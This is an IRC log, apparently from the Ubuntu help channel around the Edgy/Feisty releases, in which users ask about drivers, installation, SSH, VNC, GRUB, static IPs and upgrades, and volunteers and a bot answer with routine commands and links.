[10:06] <daziplqa> my sound card ( on some users ) does not work , why ??
[10:06] <daziplqa> that happened after installing the Netowrk Interface Card
[10:06] <daziplqa> :-*
[10:06] <daziplqa> :(
[10:07] <Kunk> Flannel: Nope. Did that, but ended up with ssl working and no http. Checked the application-x-httpd stuff. Done this many times. Just wouldn't fire up. I was almost going to try source for the whole mess, but got it working except for htpps now
[10:07] <colbert> daziplqa: Did you check your volume control? Check which interface it's using, and try the different controls.. mine was just muted on the wrong setting by default
[10:08] <arrenle1> How do I make "find" be case insensitive?
[10:08] <Flannel> Kunk: you should copy your site in /sites-available, from default to ssl (or whatever), then add a few directives to enable SSL for that site.  Oh, and add port 443 to ports.conf
[10:08] <nube> as my name implies, i'm a serious linux newb.  i've got a question:  ubuntu 6.10 installation cd fails to see my seagate 250gb sata drive that is connected to sata1 on my asus a7n8x-dlx mobo, even though the bios sees it.  how can i remember that?
[10:08] <Pelo> arrenle1,  find --help
[10:08] <nube> errr remedy
[10:08] <arrenle1> Pelo: xD Thanks.
[10:09] <Pelo> arrenle1,  works with most commands :-)
[10:09] <Kunk> Flannel: that's all new stuff for me. Never had to do it before. So, learn some more, huh? Thanks!
[10:09] <shay-> when i have burned my driver on a disc how can i install the driver for my graphic, i can only type into the console? please help me out
[10:09] <shay-> the cd is in the cdrom
[10:09] <Pelo> nube,  when you say it doesn'T see it , do you mean that you cannot access the hdd from the live cd or that it does not see the hdd when you want to install ?
[10:10] <trumpet_thief> arrenlex
[10:10] <peyo> jest tu jakis polak???????????
[10:10] <frojnd> hello there
[10:10] <frojnd> what are the packages to install java ?
[10:10] <Pelo> !pl | peyo
[10:10] <ubotu> peyo: Mozesz uzyskac pomoc w jezyku polskim na #ubuntu-pl
[10:10] <nube> pelo:  both, probably stemming from the latter rather than the former.
[10:10] <Flannel> Kunk: you would've had to.  Exccept, well, apache config wouldve been a smidge different.  Anyway, once you have your site in sites-available, use 'a2ensite' to enable that site.
[10:10] <Flannel> !java | frojnd
[10:10] <ubotu> frojnd: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository. Enable the backports repository on Edgy to install sun-java6-jre
[10:10] <kamazeuci> hello! having trouble with VIA K8M890 and installing OpenChrome Drivers for 3d when I do glxinfo i get Direct Rendering "No"....... anybody knows???
[10:10] <trumpet_thief> can some1 help me with my flas install i keep getting an error
[10:11] <Kunk> Flannel: thanks again!
[10:11] <trumpet_thief> crdlb
[10:11] <Pelo> nube,  in order to use a hdd in linux it needs to be mounted,  so you need to mount it if you want to use it in the live cd ,  but you don'T need to mount it for the installation process to work , durring install the system in scanned and you are given a list of hdd to install to
[10:11] <nube> pelo:  neither the gnome partition manager nor the step #5 in the installation routine sees the sata hdd.
[10:11] <Flannel> Kunk: oh yeah, and then restart apache (sudo /etc/init.d/apache2 restart)
[10:12] <starscal1ing> mm
[10:12] <Pelo> nube,  ok , that is a problem
[10:12] <nube> indeed.
[10:12] <starscal1ing> so where does one get the absolutely latest ubuntu
[10:12] <starscal1ing> edgy is good
[10:12] <starscal1ing> but isnt feisty or so the next one?
[10:12] <finalbeta> !download
[10:12] <ubotu> Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Archive
[10:13] <starscal1ing> does anyone know how stable feisty faun is?
[10:13] <nube> heh pelo, i've tried but not seen anything in the forums regarding it.  thanks anyway, though.
[10:13] <Flannel> starscal1ing: Feisty?  https://wiki.ubuntu.com/FeistyFawn/Beta
[10:13] <shay-> when i have burned my driver on a disc how can i install the driver for my graphic, i can only type into the console? please help me out
[10:13] <shay-> the cd is in the cdrom
[10:13] <Pelo> starscal1ing,  the absolute latest is still a beta, (7.04)  current is edgy ( 6.10)
[10:13] <finalbeta> starscal1ing: it's "beta", that should say enough.
[10:13] <nmay> Hello. I have a question about whom I should talk to about a package I think Ubuntu is missing.  Can anyone point me in the right direction?
[10:14] <PriceChild> starscal1ing, edgy is the latest ubuntu. Feisty is not yet ready and is still  buggy, beta and unstable
[10:14] <Pelo> nube,  you are saying gparted does not see the hdd ?  how many hdd do you have on this machine ?
[10:14] <PriceChild> nmay, one second
[10:14] <cello_dude> hey im new to ubuntu and im wondering what kind of packages i should download?
[10:14] <oren_> hello cell_dude.
[10:14] <Pelo> cello_dude,  depends on what you want to do
[10:14] <oren_> cello_dude: welcome. (i am new too)
[10:14] <Flannel> !motu | nmay
[10:14] <ubotu> nmay: motu is short for Masters of the Universe. The brave souls who maintain the packages in the Universe section of Ubuntu. See  http://wiki.ubuntu.com/MOTU
[10:14] <cello_rasp> cello_dude: you shouldn't need to download packages... most of all you need is already supplied :)
[10:14] <starscal1ing> mm
[10:14] <cello_dude> i need to mostly run my windows apps as well as c++ coding
[10:14] <larson9999> make scanner doesn't work :(
[10:14] <stefg> nmay: join #ubuntu-motu
[10:15] <PriceChild> nmay, https://wiki.ubuntu.com/MOTU/Packages/New
[10:15] <larson9999> well the net says it should be i'll be danged if i can get it to work
[10:15] <starscal1ing> i'm having a friend try ubuntu b/c fedora is a bear
[10:15] <Pelo> cello_dude,   wine for the window stuff ,  cc libraires for codding
[10:15] <oren_> cello_dude: can u be more specific?
[10:15] <nmay> PriceChild: ubotu: stefg: Thanks, will do!
[10:15] <PriceChild> nmay, ubotu is a bot ;)
[10:15] <starscal1ing> and i want decent stability but ultra eye-catching :P
[10:15] <Pelo> cello_dude,   www.winehq.org ,  the c++ stuff just look in synaptic
[10:15] <shay-> when i have burned my driver on a disc how can i install the driver for my graphic, i can only type into the console? please help me out
[10:15] <starscal1ing> so i guess i'll recommend the edgy then thanx
[10:15] <cello_rasp> how do i get the edubuntu gtk widget theme? (the one with the red highlights)
[10:15] <nube> pelo:  gnome partition editor (gparted?) does not see the hdd, and it is the only hdd installed.
[10:15] <shay-> the cd is in the cdrom
[10:16] <shay-> does somebody can help me?
[10:16] <cello_dude> well normally on windows i use cygwin for compiling and just wondering what is the linux replacement of that
[10:16] <nmay> PriceChild: *laughs* Hehe.
[10:16] <oren_> shay: hi
[10:16] <CPrgmSwR2> How can I install ubuntu if the cd-rom will not auto boot
[10:16] <Flannel> cello_rasp: for C++ stuff, you need to install 'build-essential', which will install the toolchain
[10:16] <Pelo> nube,  hold on let me see if I can figure something out
[10:16] <PriceChild> CPrgmSwR2, sure that you have told bios to boot from cd/
[10:16] <cello_dude> ok
[10:16] <nube> cprgrmswr2:  is your bios set to boot from cd as the first boot device?
[10:16] <cello_dude> ill get that after im done with wine
[10:16] <Flannel> cello_rasp: cygwin is an emulation of the unix environment, so once you intsall build-esesntial, you'll have all the programms (gcc, etc) required.
[10:16] <CPrgmSwR2> PriceChild it boots fine on my pc
[10:16] <PriceChild> CPrgmSwR2, sure that you have told bios to boot from cd/
[10:16] <nmay> \quit
[10:17] <littlee5442> Hey
[10:17] <Flannel> cello_dude, sorry, those were for you.
[10:17] <CPrgmSwR2> I am 110% positive
[10:17] <littlee5442> What serve you join if you need help on irc scrips
[10:17] <PriceChild> CPrgmSwR2, https://wiki.ubuntu.com/Installation/FromHardDriveWithFloppies perhaps
[10:17] <CPrgmSwR2> There is something really wrong with my freinds computer because it will boot fedora core 5 DVD and windows XP setup cd but nothing else seems to work
[10:17] <cello_dude> @flannel: thx
[10:17] <larson9999> CPrgmSwR2: i've had machines that would boot the live cd.  had to try the alternate cd.
[10:18] <larson9999> CPrgmSwR2: i've had machines that would NOT boot the live cd.  had to try the alternate cd.
[10:18] <CPrgmSwR2> I tried the alternative cd
[10:18] <CPrgmSwR2> the one that doesn't do a live boot
[10:18] <CPrgmSwR2> I took that one first by mistake
[10:19] <CPrgmSwR2> Fedora Core 6 DVD will not even boot on my freinds computer
[10:19] <CPrgmSwR2> but Fedora Core 5 will; howver I want to put on it ubuntu
[10:19] <larson9999> CPrgmSwR2: got another drive you can put in it?
[10:19] <CPrgmSwR2> No
[10:19] <Pelo> nube don'T dispair,  I found your problem in the forum, ( I just didn't find the solution yet)
[10:20] <seacyd> I cannot access my encrypted disk anymore after I have upgraded some packages today. The /dev/mapper directory does not show the link to the disk anymore. I use cryptdisks. Any help on how to get to this disk drive? What next step to take?
[10:20] <cello_dude> @flannel: are the commands the same as they are in cygwin?
[10:20] <CPrgmSwR2> My friend really doesn't have money and actually he needs to buy a new pc, one memory stick and one of his harddrives have already crashed
[10:20] <Pelo> nube,   do you hve a dual core mobo ?
[10:20] <nube> pelo:  hehe exactly, but thanks for trying.
[10:21] <Flannel> cello_dude: Cygwin's commands are the same as regular unix commands yes.
[10:21] <cello_dude> k
[10:21] <cello_dude> then im fine
[10:21] <larson9999> CPrgmSwR2: hmmm, haven't done a floppy install of ubuntu yet, but it was pretty painless in mandriva.
[10:21] <nube> pelo:  no, it's an asus a7n8x-dlx that fits only single-core athlon and athlon xp chips.
[10:21] <larson9999> CPrgmSwR2: got a cleaning disk?  that sometimes helps
[10:21] <mbernat> Hi all, I'm running Edgy, and I just installed Compiz, and I see lots of garbage on my screen when I run 'compiz --replace'.
[10:22] <eth01> how can i change my ubuntu server into command line only with SSH?
[10:22] <PriceChild> mbernat, > #ubuntu-effects please
[10:22] <mbernat> Noted, thanks.
[10:22] <CPrgmSwR2> That is something I could try larson9999
[10:22] <larson9999> dang! i have to take my wife out if i can't get this scanner working in the next hour :(
[10:22] <cello_dude> oh yes my other problem is i need to use vnc but i only get the command line and i need to have full desktop access
[10:22] <CPrgmSwR2> I thought mabye it was his bois not programmed to read the correct sector of a disk
[10:23] <Flannel> eth01: Eh?  ubuntu-server is command line only.  To add a ssh server, install 'openssh-server'
[10:23] <CPrgmSwR2> His PC is over 7 years old
[10:23] <eth01> ok thanks
[10:23] <CPrgmSwR2> the other problem is his dvd drive is even older than that
[10:23] <nube> pelo:  thanks, i'll take a look in the sata config.
[10:23] <Flannel> !vnc | eth01
[10:23] <ubotu> eth01: VNC is a protocol for remote desktop. https://help.ubuntu.com/community/VNCOverSSH describes how to use it securely.  It works best over fast connections, otherwise look at !FreeNX
[10:23] <Comrade_Sergei> Does anyone else have acetoneISO : do the buttons workright?
[10:23] <Lima> I need put translation, I make a download, but the file extesion .po
[10:24] <Lima> how put I translation?
[10:24] <Pelo> nube,  also so a search for your motherboard number in the forum, there is a lot of stuff in there about instalation probs
[10:24] <pisaq> hi all
[10:24] <cello_dude> i just need to configure vnc cause i have the server installed
[10:24] <seacyd> Does anybody can provide helpt on cryptdisks?
[10:24] <PriceChild> Lima, you want to help translate softrware to your language?
[10:25] <Lima> PriceChild, Sorry but I don't understand very well english
[10:25] <Lima> but.. I wanna yes
[10:25] <CPrgmSwR2> guess I will have to wait until my freind gets a new pc to resolve the issue
[10:25] <nube> pelo:  still searching, but thanks anyway!
[10:25] <Pelo> !pr
[10:25] <ubotu> Sorry, I don't know anything about pr - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:25] <PriceChild> Lima, great! one second whlie I find the link :)
[10:26] <agws> looking for hosting software simmular to CPanel
[10:26] <Comrade_Sergei> !AcetoneISO
[10:26] <ubotu> Sorry, I don't know anything about acetoneiso - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:26] <gfewre> hey, where do i change the language of the interface on ubuntu?
[10:26] <Lima> ok
[10:26] <red22> is it possible to install ubutu from a usb flash drive?
[10:26] <Lima> PriceChild, I want translation the Amarok
[10:26] <Pelo> gfewre, isnT' there a translation or language thing in the menu > system > admin ?
[10:26] <Lima> for PT-BR
[10:26] <Comrade_Sergei> Does anyone else have AcetoneISO?
[10:26] <PriceChild> Lima, https://translations.launchpad.net/ubuntu/+translations
[10:27] <gfewre> Pelo, there is but it doesn't change the interface language
[10:27] <Pelo> gfewre,  it should rebbot
[10:27] <Comrade_Sergei> red22 yes if the bios will do it
[10:27] <Pelo> reboot
[10:27] <shay-> How can i install my driver for my NVIDIA 8800 GTS on my cdrom?
[10:27] <PinkFloyd> Im trying to setup a Windows share using the Connect To Server option in the Places tab. Could someone help me with it?
[10:27] <gfewre> hmm ok one sec
[10:27] <gfewre> thx :)
[10:28] <Lima> PriceChild, I usually make this. I download a file call: pt-BR.po
[10:28] <Pelo> gfewre,  I think you need to select the language  after you instaled it
[10:28] <red22> sergei: my system can/does boot from usb drive, but i can't get the ubuntu install going properly
[10:28] <shane634> shay-, try the envy script
[10:28] <Pelo> gfewre,  or remove the english support
[10:28] <shay-> i only can type in console
[10:28] <PriceChild> Lima, ah so just for yourself? I'm not sure :S
[10:28] <Lima> but i don't know how do for translation
[10:28] <shane634> shay-, why only console?
[10:28] <Lima> PriceChild, yes
[10:29] <tbuss> has anyone had any success with running Visio on Ubuntu, or is there a linux alternative besides Dia and OpenOffice Draw
[10:29] <shay-> i had to use the alternate version because i have a too high graphic card
[10:29] <red22> sergei: have you tried/done this or know of somewhere that details how pls?  i've gone through some tuts to install other distros but can't find one for k/ubuntu..
[10:29] <PinkFloyd> Im trying to setup a Windows share using the Connect To Server option in the Places tab. Could someone help me with it?
[10:29] <gfewre> Pelo, thx indeed needed to reboot ;)
[10:30] <Pelo> gfewre,  damn linux,  I was told I would never have to reboot ... ;-)
[10:30] <esperegu> :-D
[10:30] <gfewre> right lol
[10:30] <Jaykul> Hey, does anyone know how I can get python 2.5 onto my server? I only see 2.4 in aptitude...
[10:30] <NaNO2x> hi can anyone help me reconfig the private ip of eth0
[10:30] <gfewre> fucking a:P
[10:30] <shay-> (shane634): Do you have a solution?
[10:31] <hendaus> back
[10:31] <Pelo> Jaykul,  find a deb package or the source from the python site and install it manualy
[10:31] <shane634> shay-, i have never used the alt cd
[10:31] <Pelo> Jaykul,  http://cutlersoftware.com/ubuntuinstall/
[10:31] <shay-> arhh^^
[10:31] <agws> trying to setup a web server.  Need help!
[10:31] <gfewre> Pelo, u might know a good way to transfer my whole firefox profile with the addons and everything?
[10:31] <shay-> I am so desperated
[10:31] <Jaykul> Pelo: I was afraid of that :-p
[10:31] <shane634> shay-, let me look around a sec
[10:31] <esperegu> any suggestions to make ubuntu look better?
[10:31] <shay-> mky
[10:31] <shay-> mkay
[10:31] <jpjacobs> tbuss: try qcad (kinda technical) or inkscape/sodipodi/ graphviz (a scriptlike diagram thing)
[10:31] <Pelo> gfewre,  copy over the hole /home/user folder
[10:32] <Pelo> whole
[10:32] <Pelo> gfewre,  including hidden folder
[10:32] <gfewre> that what i have done
[10:32] <gfewre> but the extensions doesn't seem to work
[10:32] <PinkFloyd> So, uh, does no one know how to Windows Share in Ubuntu?
[10:32] <ravi_master> !mergefb
[10:32] <ubotu> Sorry, I don't know anything about mergefb - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:32] <hendaus> can anyhelper tell me when i test the monitor it appears a screen with a X cursor and then everything disappear from the screen?
[10:33] <ravi_master> !mergedfb
[10:33] <ubotu> Sorry, I don't know anything about mergedfb - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[10:33] <Pelo> gfewre,  then I don'T know , when I reinstalled I just remounted my /home/ folder and everything came back
[10:33] <variant> !flash9
[10:33] <Pelo> gfewre,  same user name ?
[10:33] <ubotu> Flash 9 (Final release) is now available for dapper-backports and edgy-backports. See !backports and !flash
[10:33] <variant> !flash
[10:33] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[10:34] <Comrade_Sergei> Anyone know a program with a GUI thatll mount an ISO File
[10:34] <gfewre> yea i changed usernames with the -profilemanager command
[10:34] <Pelo> Comrade_Sergei,  you can  unzip an iso but it is along process
[10:34] <hendaus> can anyhelper tell me why when i test the monitor it appears a screen with a X cursor and then everything disappear from the screen?
[10:34] <shane634> shay-, try this sudo aptitude install gnome-desktop
[10:35] <Comrade_Sergei> Pelo i need to access it like a cd for a game
[10:35] <__mikem> Hey, can someone give me information on the install.exe thing for ubuntu that allows you to install ubuntu from inside windows?
[10:35] <PinkFloyd> Live CD
[10:35] <PinkFloyd> __mikem: Download and burn a Live CD
[10:35] <Differ> is linuxforums.org working for anybody?
[10:35] <variant> how can you see version number of an installed application?
[10:35] <gc> Hi, I'm using Feisty, when i suspend/hibernate, after resume sound does not work. Even a reboot doesn't fix the issue, i have to shut down the laptop and then power on it.. Ideas?
[10:35] <NaNO2x> i've tried the sudo ifconfig eth0 192.168.0.255  but it doesnt change it and i've tried editing /etc/network/interfaces with iface eth0 inet address 192.168.0.255 netmask 255.255.255.0 none of that worked however
[10:36] <Comrade_Sergei> Pelo acetoneiso wont work and Alcohol120% is for windows
[10:36] <Pelo> Comrade_Sergei, https://help.ubuntu.com/community/MountIso?highlight=(iso)%7C(mount)
[10:36] <shay-> so typed it
[10:36] <shay-> so i typed it
[10:36] <hendaus> bruenig, how can i know the model of my monitor,i just know hewlett packard pavilion
[10:36] <LaNCeloT_RW> how do i check if my ethernet is 10/100 or 100/1000 ??
[10:36] <cello_dude> dont worry about the
[10:37] <donna> gc, For Fiesty /join #ubuntu+1
[10:37] <__mikem> PinkFloyd, I am not planning on using the install.exe at the moment. But I am going to be getting a new laptop for college and I would like to duel boot it, but I heard that duelbooting is risky even with automatic tools like the ones on the ubuntu installer
[10:37] <oren> nick owen1
[10:37] <bruenig> hendaus, stop directing questions towards me, direct them towards the channel
[10:37] <Comrade_Sergei> Pelo know one with a nice gui front end?
[10:37] <cello_dude> i need the command for killing vnc desktops
[10:37] <shane634> shay-, what did it do?
[10:37] <Pelo> Comrade_Sergei,  I don't
[10:37] <Comrade_Sergei> aww
[10:37] <PinkFloyd> __mikem: Dual-booting is only risky if you have no ****ing clue what you're doing
[10:37] <PinkFloyd> It's pretty straight forward
[10:37] <hendaus> bruenig,  but no one is answering me :(
[10:37] <_muelli_> Comrade_Sergei: You don't need a gui for that
[10:38] <shay-> (shane634): it installed some things than i can type something in
[10:38] <_muelli_> Comrade_Sergei: just type the mount command
[10:38] <PinkFloyd> __mikem: Ive got a computer sitting behind me that's dual booted
[10:38] <shane634> shay-, right click my name and open dialog
[10:38] <shay-> kk
[10:38] <Comrade_Sergei> _meulli_ im a  noob and am used to windows and Alcohol 120%
[10:38] <gc> thanks donna
[10:38] <donna> __mikem, The worst that can happen ( and it is verry unlikely ) is that you hose your windows install, but since it's a new lappy you can just re-install windows ( again, it is verry unlikely you will even need to do this )
[10:38] <_muelli_> no problem though Comrade_Sergei. Just open a terminal and type that mount command.. pretty straight forward
[10:38] <shay-> you blocked me
[10:39] <shane634> shay-, try again
[10:39] <Comrade_Sergei> well yea
[10:39] <PriceChild> !mountiso
[10:39] <ubotu> To mount an ISO disc image, type  sudo mount -o loop <ISO-filename> <mountpoint>  - There is a list of useful cd image conversion tools at http://wiki.linuxquestions.org/wiki/CD_Image_Conversion - Always verify the ISO using !MD5 before !burning.
[10:39] <shay-> i have to regist...
[10:39] <hendaus> Helpers!! how can i know the model of my monitor,i just know hewlett packard pavilion
[10:39] <donna> When I try to install totem-gstreamer-firefox-plugin I get this error:
[10:39] <donna> totem-gstreamer-firefox-plugin: Depends: totem-gstreamer (= 1.4.1-0ubuntu4) but 1.4.3-0ubuntu1 is to be installed
[10:39] <Askar> I tried kubuntu and didnt like it... I removed but splashscreen is still kubuntu
[10:39] <Askar> how to solve?
[10:39] <__mikem> PinkFloyd, I don't doubt that duel booting is posible, but I heard its risky
[10:39] <shane634> shay-, do you have another messenger?
[10:39] <__mikem> donna thanks for the tip
[10:39] <shay-> yes msn
[10:39] <MindRiot> WOOOO Pelo Install Done
[10:39] <MindRiot> firing up now
[10:40] <shane634> shay-, add shane47143
[10:40] <eth01> how do i install SSH ?
[10:40] <shay-> kk
[10:40] <readme> I have ubuntu edgy on laptop with ati radeon x1600 video card, but it seems that system doesnt use it every 3d games are rendering very slow, what to do?
[10:40] <PriceChild> __mikem, risky?
[10:40] <donna> Askar, Remove kubuntu-splash ( or kubuntu-usplash can't remember which )
[10:40] <MindRiot> __mikem I got a Vista And ubuntu dual boot
[10:40] <cello_dude> @eth0: sudo apt-get install openssh
[10:40] <_muelli_> eth01: apt-get install openssh
[10:40] <Pelo> MindRiot,  congrats, welcome to the wonderfull world of not using MS
[10:40] <eth01> thnks
[10:40] <MindRiot> :)
[10:40] <Jellocube> So, is Suspend unstable, or is it just that my computer dislikes it?
[10:40] <Askar> donna: thanks
[10:40] <GodTodd> ok...i give up...total linux noob here.......i'm running ubuntu and installed the kde package...was wondering where it hides KMail....
[10:41] <MindRiot> so Pelo now i should do Envy right?
[10:41] <_muelli_> eth01:  next time, try that nifty frontent "synaptics" or the "Add/Remove Button" and just search for ssh or the like :)
[10:41] <cello_dude> so whats the best linux version i could use?
[10:41] <sinistertim> Wow ubuntu has its own irc server
[10:41] <PriceChild> sinistertim, this isn't its own, this is on irc.freenode.net
[10:41] <Jellocube> GodTodd: I believe sudo kmail should find it.
[10:41] <Pelo> !nvidia | MindRiot or you can do it with this
[10:41] <ubotu> MindRiot or you can do it with this: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[10:41] <NaNO2x> any ideas on changing the ip
[10:41] <rukuartic> Figred you folks might get a kick out of this... http://www.willitblend.com/videos.aspx?type=unsafe&video=novell Getting your IT infrastrcture to blend together.
[10:41] <sinistertim> Hu xchat has it listed otherwise
[10:41] <GodTodd> will try it Jellocube, thanks :)
[10:42] <Jellocube> GodTodd: It dislikes me.
[10:42] <readme> I have ubuntu edgy on laptop with ati radeon x1600 video card, but it seems that system doesnt use it every 3d games or even movies are rendering very slow, what to do?
[10:42] <MindRiot> but envy would be easyer right
[10:42] <MindRiot> cause i tried that the other night and blew up XORG
[10:42] <Pegasos989> I just installed MPlayer from the synaptic. When I try to open any video file (first tried with .avi but then also with the .ogg in ubuntu's examples) it says "Error opening/initializing the selected video_out (-vo) device."... Could someone tell me how to fix it?
[10:43] <cello_dude> hey well my friend wants to setup a linux mailserver so i need some help on how to do that?
[10:43] <Jellocube> GodTodd: Perhaps if you launch a KDE session, it would make itself easier to find (Assuming you're in Gnome right now).
[10:43] <rukuartic> Pegasos989: Use VLC? D:
[10:43] <rukuartic> Pegasos989: I've had no luck with mplayer at all.
[10:43] <GodTodd> actually, sudo kmail ran it :)
[10:43] <cello_dude> i use vlc for my playback
[10:44] <NaNO2x> i'm trying to change the internal ip of my computer, what do i need to do?
[10:44] <Jellocube> GodTodd: Odd; it threw out an error for me.
[10:44] <MindRiot> cant you do that with an ifconfig?
[10:44] <NaNO2x> i thought so but maybe i'm using the wrong syntax
[10:45] <rukuartic> NaNO2x: Are you using a GUI?
[10:45] <NaNO2x> i did ifconfig eth0 192.168.0.255
[10:45] <NaNO2x> no
[10:45] <rukuartic> NaNO2x: Do you want this to be a static IP?
[10:45] <NaNO2x> yeah
[10:45] <cello_dude> well ttyl all
[10:45] <cello_dude> im hyeading off
[10:45] <Askar> donna: it is removed but still splashscreen :S
[10:45] <readme> I have ubuntu edgy on laptop with ati radeon x1600 video card, but it seems that system doesnt use it every 3d games or even movies are rendering very slow, what to do?
[10:45] <rukuartic> NaNO2x: cd /etc/network
[10:45] <rukuartic> NaNO2x: nano interfaces
[10:46] <Jrabbit> How do you use IP over firewire in Ubuntu and I have a powerbook sitting here how can I connect to it over firewire?
[10:46] <rukuartic> NaNO2x: I will msg you my config
[10:46] <NaNO2x> thanks
[10:46] <Jrabbit> anyone?
[10:46] <LouisH> readme: Try using ubuntu for something other than games
[10:47] <MindRiot> wow 148 updates after intalling Edgy Eft 6.10
[10:47] <readme> LouisH, I cant normally watch films with vlc
[10:47] <rukuartic> NaNO2x: Did you get it?
[10:47] <h-bomb> got a question, i have a heavily moddified 6.06 installation (mysql, cacti, php, apache, smokeping, munin, monit) if i upgrade to 6.10 will my system survive? i of course will make a backup first. any thoughts?
[10:47] <NaNO2x> no
[10:48] <rukuartic> NaNO2x: Oh I'm not registered. Hold on.
[10:48] <NaNO2x> nor am i
[10:48] <NaNO2x> whats the cmds again
[10:48] <NaNO2x> i forget
[10:48] <sinistertim> I would not upgrade to 6.10 if its a server
[10:48] <Flannel> h-bomb: Are all those things in the repositories? (I know most of them are)
[10:48] <sinistertim> There have been some issues upgrading between those version
[10:49] <h-bomb> Flannel: yes, but the onces i have installed are the latest versions, the ones on the repositories are always out of date
[10:49] <rukuartic> NaNO2x: Did you get it now?
[10:49] <finalbeta> h-bomb: it should survice, but if you made custom edits to config files, there are likely to be overwritten or not, the upgrader should ask you. If you used packages not from the official repositories, problem can occur, and parts wont upgrade.
[10:49] <Pelo> !envy | MindRiot  sorry I was afk for a few mintues
[10:49] <ubotu> MindRiot  sorry I was afk for a few mintues: envy is a Python script that eases installation of the official Nvidia and ATI drivers. This software is NOT supported by ubuntu and you will not receive aid for it here. More at http://albertomilone.com/nvidia_scripts1.html See !nvidia and !nvidia9
[10:49] <Flannel> h-bomb: ah, so they're not packages.  Then you may have issues, depending on how you manually installed them.
[10:49] <GodSyn> HELP : >>noob<< Installed Ubuntu to (hd0,0) and windows to (hd1,0). I'd like to add a menu item to boot windows in grub. How?
[10:49] <finalbeta> h-bomb: the upgrade from 6.06 can be troublesome, I wouldn't do it again myself. Upgrading to Feisty is much much smoother
[10:49] <h-bomb> finalbeta: i have made lots of custom edits
[10:49] <eth01> [E] th01
[10:50] <Flannel> GodSyn: in /boot/grub/menu.lst, there's an example of a windows boot near the top. Add it to the very bottom, after the comment about the end of debian automagic kernels.
[10:50] <h-bomb> well finalbeta ive been told that i shouldnt go from 6.06 to feisty
[10:50] <finalbeta> I would recommend the upgrade, but if you follow it close enough, you will probbaly have a booting system after the upgrade :p
[10:50] <Pelo> GodSyn,  didn'T grub find your windows intall when you installed ubuntu ?
[10:50] <Flannel> h-bomb: Edits of the config isn't the issue, it's the fact that you've installed from source on those packages.
[10:50] <h-bomb> that i should go to dapper- edgy then feisty
[10:50] <josh8178> I'd just like to say im on Feisty Herd 5 and it's ace
[10:50] <Flannel> h-bomb: that's correct.  You must go through Edgy
[10:51] <h-bomb> ok
[10:51] <GodSyn> Flannel: I have done so. Upon selecting the item, I get "Starting up" and a blank screen. nothing more.
[10:51] <GodSyn> Pelo : Installed XP 2nd.
[10:51] <spheard> Hi, Im trying to watch a video fro my dell 1501 on a projector but I dont see the video on the projector
[10:51] <Flannel> !grub | GodSyn, first link.
[10:51] <ubotu> GodSyn, first link.: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[10:51] <Pelo> GodSyn,  pm ?
[10:51] <finalbeta> josh8178: same here, although my laptop no longer boots with the latest kernel, so don't recommend people to upgrade to beta/alpha soft ever.
[10:51] <variant> i enabled backports because i need to get flash9, when i run apt-get install flashplugin-nonfree i get that it's already the latest version. is it called something else in backports?
[10:51] <josh8178> I got Windows XP, OS X and Ubuntu on my Grub
[10:51] <spheard> I see the frame and the video on the scren but its just a blackbox
[10:51] <h-bomb> well from the sounds of it, looks like all my custom goodness will get hosed, i guess ill just backup it all up and hope for the best
[10:51] <asc> join #ubuntu
[10:51] <GodSyn> Pelo : gladly.
[10:51] <Flannel> h-bomb: Ubuntu software will always be a little out of date version number wise, that's the nature of time based releases.
[10:51] <NaNO2x> rukuartic did you get those messages?
[10:52] <asc> *peer self
[10:52] <Jellocube> h-bomb: Are you upgrading via the GUI?
[10:52] <h-bomb> planned on it
[10:52] <rasputnik> variant: you can just let firefox install flash9. that works fine.
[10:52] <Pelo> GodSyn,  hold on ?  can you still boot ubuntu ?
[10:52] <h-bomb> i heard that was the best way
[10:52] <variant> rasputnik: really?
[10:52] <spheard> Hi, Im trying to watch a video fro my dell 1501 on a projector but I dont see the video on the projector
[10:52] <spheard> I see the frame and the video on the scren but its just a blackbox
[10:52] <donna_> finalbeta, Just so you know that bug has been fixed and you just need to chroot in and do an update and upgrade
[10:52] <noelferreira> anyone with rt61 wireless driver and wpasupplicant working?
[10:52] <rasputnik> variant: yup, does on mine. that's how I've always done it.
[10:52] <GodSyn> Pelo: Yes, making the link from flannel unneeded. (thanks the same).
[10:52] <rNIUS> :) hi
[10:53] <readme> I have ubuntu edgy on laptop with ati radeon x1600 video card(256Mb), but it seems that system doesnt use it every simple 3d game or even movies are rendering very slow, what to do?
[10:53] <donna_> When I try to install totem-gstreamer-firefox-plugin I get this error:
[10:53] <NoelJB> FWIW, Feisty (including all of today's updates) is working really well with VMware 6 RC1 and VMI.
[10:53] <donna_> totem-gstreamer-firefox-plugin: Depends: totem-gstreamer (= 1.4.1-0ubuntu4) but 1.4.3-0ubuntu1 is to be installed
[10:53] <Jellocube> I upgraded to Edgy via it, and had no problems with my custom stuff.
[10:53] <spheard> Hi, Im trying to watch a video fro my dell 1501 on a projector but I dont see the video on the projector
[10:53] <Flannel> GodSyn: When you reinstall grub, you'll get windows.  Anyway, you may need to do some mapping to make windows think it's on hda
[10:53] <spheard> on edgy
[10:53] <mjr> readme, you'd need to install the proprietary ati driver fglrx, search for it at wiki.ubuntu.com
[10:53] <Jellocube> Everything I've toyed with so far worked, but I couldn't say about EVERYTHING.
[10:53] <h1st0> !ati > readme
[10:54] <h-bomb> Flannel: understood, but those timed released version were to old and had to many bugs and security holes, so i decied to manually compile and edit them, in hindsight that prolly will have made for a messy system upgrade
[10:54] <Flannel> h-bomb: Security holes?  Doubt that.  They keep them pretty well patched.
[10:54] <Flannel> h-bomb: You might be interested in some other linux distro.  One that does more of a rolling current release.
[10:55] <h-bomb> Flannel: well i love mah ubuntu
[10:55] <h1st0> Flannel: not to many out there that will dot hat.
